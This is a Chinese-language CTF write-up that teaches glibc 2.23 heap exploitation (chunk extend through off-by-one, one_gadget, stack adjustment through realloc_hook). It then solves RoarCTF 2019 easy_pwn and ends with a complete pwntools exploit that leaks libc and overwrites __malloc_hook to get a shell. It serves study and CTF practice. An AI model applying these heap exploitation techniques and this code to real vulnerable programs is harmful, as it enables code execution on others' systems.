chunk extend是一种限制比较少的堆利用方式,通常通过off by one或off by null来利用。
chuank extend利用需要的条件是:
chunk extend的原理是,首先申请三个堆块:
这里size 0x18是堆块的大小,1是前一个堆块占用位,先通过编辑堆块A然后通过off by one来溢出到堆块B的size域,并将其修改为0x18+0x18+1(其实就是size B+size C,然后前一个堆块占用1):
这时释放堆块B,由于大小在fastbins中,所以(堆块C的)下一个堆块的前一个堆块使用位不会被置0,再释放C,arena中对应的bins就会指向B和C,如图:
这时只要再申请一个0x40的大小的堆块,就可以将B+C这个“合成”堆块申请回来,然后就可以操作还在bins中的C堆块C了,将其指针为修改为想要任意写的地址,如free_got:
然后再申请一个大小为0x20的堆块,将C申请回来,这时bins就会指向freegot,接下来再申请空间就会申请到freegot了:
再次申请一个0x20大小的堆块就会申请到free_got所在的地方,这时就可以修改为任意的值了,这个例子只是用来举例,其实利用方法非常灵活,只要将还在链表中的堆块成功包括在我们可控的堆块之内,有非常多的利用方式,无论是泄露地址或是任意地址写!这种利用方式是和fastbin attack非常相似的,只不过适用于off by one这种溢出比较苛刻的地方。
参考:https://blog.csdn.net/Maxmalloc/article/details/102535427
one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)
的一段非常有用的gadget。在我们能控制程序执行流的时候,直接执行到onegadget的地址,并且满足onegadget的条件,便可直接getshell。如:
这个libc-2.23.so中共有四个onegadget,相对应的条件分别是rsp+0x30、rsp+0x30、rsp+0x50、rsp+0x70地址处为0。
而有的时候我们有任意地址写的漏洞的时候,比如将malloc_hook写成onegadget,但无法满足onegadget的条件可以使用realloc来微调栈帧。
realloc函数的逻辑和malloc、free等一样,都是先查看realloc_hook是否为null,不为null的话便调用realloc_hook。但不同的是realloc的汇编代码,在调用realloc_hook之前比malloc、free等多了好多push指令和sub抬栈操作:
我们可以将realloc_hook改为onegadget,然后通过这些push和sub操作"微调"rsp寄存器,使其能够满足在调用realloc_hook(也就是onegadget)的时候满足相应的rsp条件。相应的利用方法就是由传统的直接修改malloc_hook变为先修改realloc_hook为onegadget之后,修改malloc_hook到特定的一个push处或sub处,然后调用malloc便相当于执行了满足条件的onegadget。
接下来通过嘶吼的roarCTF2019的easy_pwn题目来讲解一下:
首先查看下安全策略:
发现全开,那么我们无法使用漏洞来修改got表。接下来分析一下程序逻辑:
和传统的堆题目很想,申请、修改、删除和显示。IDA中查看反汇编代码:
唯一有问题的地方在writeNote中:
当读入的长度比申请的长度正好大10的时候,程序允许我们多写入一个字节!也就是可以溢出一个字节,正好到下一个堆块的大小位和占用位:
只有这一个off by one漏洞可以利用,接下来就是思考利用思路。
泄露地址的方式有很多种,这里选择最简单的一种,泄露unsortbins的地址,首先申请四个堆块,大小分别是0:0x18,1:0x18,2:0x88,3:0x18,之后通过对chunk0进行off by one,溢出到1的size位位0xb1,也就是size1+size2的大小(0x20+0x90)。
这里申请的是0x18,实际分配是0x21,2申请的比较大是为了合并之后分解的时候不被放入fastbins而是放入unsortbins。这里堆块3的作用是和topchunk隔离,不让分解后直接和topchunk合并。
这时释放chunk1,unsortbins就会指向chunk1(连带着chunk2的大小),size是0xb0,而chunk1的fd和bk两个双向链表指针也会指向libc中的unsortbins处(因为双向链表中只有一个元素):
然后再申请一个0x18大小的堆块(也就是溢出之前的大小),这时就会在unsortbins中的这个唯一元素中分割一个0x18大小的堆块出去,剩下的继续连在unsortbins中,就是下面这样:
这时原本的chunk2中的内容就是指向unsortbins的指针,而chunk2一直没有被释放,我们可以通过show来输出指针的内容,就成功得到libc的一个地址了,代码流程是:
create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)
p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)
通过泄露的地址减掉libc的起始地址就可以计算出这里的偏移了。
libc_base = leak - (0x7efce8fa1b78 - 0x7efce8c06000)
接下来是思考如何利用。由于有chunk extend这个利用方法,需要考虑的只是如何执行任意指令,也就是在改写哪个地址。首先由于开启了Full RELRO,got表是无法修改了。那么我们只能修改libc中的各种hook。
我们采用之前介绍过的realloc控制栈帧满足onegadget条件然后执行onegadget来利用。整个利用思路是:
和fastbin attack类似,通过修改fastbin链表指针的方式,在libc-2.23中,有下面一个检测需要绕过:
需要注意的是,malloc_hook和realloc_hook是连着的,也就是说只要找出malloc_hook前后一个满足这个条件的就可以同时修改这两个:
根据常识,malloc_hook-0x23是一个“固定用法”,为什么这么说呢:
可以看见,malloc_hook-0x23的size域为0x7f正好在0x70-0x80之间,属于fastbin中0x70的范围。那么利用思路就是:
exp如下:
from pwn import *
import struct
context(arch='amd64', os='linux')
context.terminal=['tmux','splitw','-h']
p = process(["./ld.so.2","./easy_pwn"],env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(p)
libc = ELF("./libc.so.6")
def create(size):
p.sendlineafter("choice: ", str(1))
p.sendlineafter("size: ", str(size))
def write(index, size, content):
p.sendlineafter("choice: ", str(2))
p.sendlineafter("index: ", str(index))
p.sendlineafter("size: ", str(size))
p.sendlineafter("content: ", content)
def free(index):
p.sendlineafter("choice: ", str(3))
p.sendlineafter("index: ", str(index))
def show(index):
p.sendlineafter("choice: ", str(4))
p.sendlineafter("index: ", str(index))
create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)
p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)
libc_base = leak - (0x7fdba0043b78 - 0x7fdb9fc7f000)
print "libc_base-> " + hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
#realloc = libc_base + libc.symbols['__libc_realloc']
realloc=libc_base+0x846CD
print "realloc-> " + hex(realloc)
#rsp+0x50=0
one_gadget=libc_base+0xf02a4
create(0x88) #4
create(0x18) #5
create(0x68) #6
create(0x18) #7
write(3,0x18+10,'a'*0x18+'\x91')
free(6)
free(5)
create(0x88) #5
write(5,0x28,'a'*0x18+p64(0x71)+p64(malloc_hook-0x23))
create(0x68) #6
create(0x68) #8
write(8,0x1b,'a'*0xb+p64(one_gadget)+p64(realloc))
raw_input()
create(0x18)
p.interactive()
成功: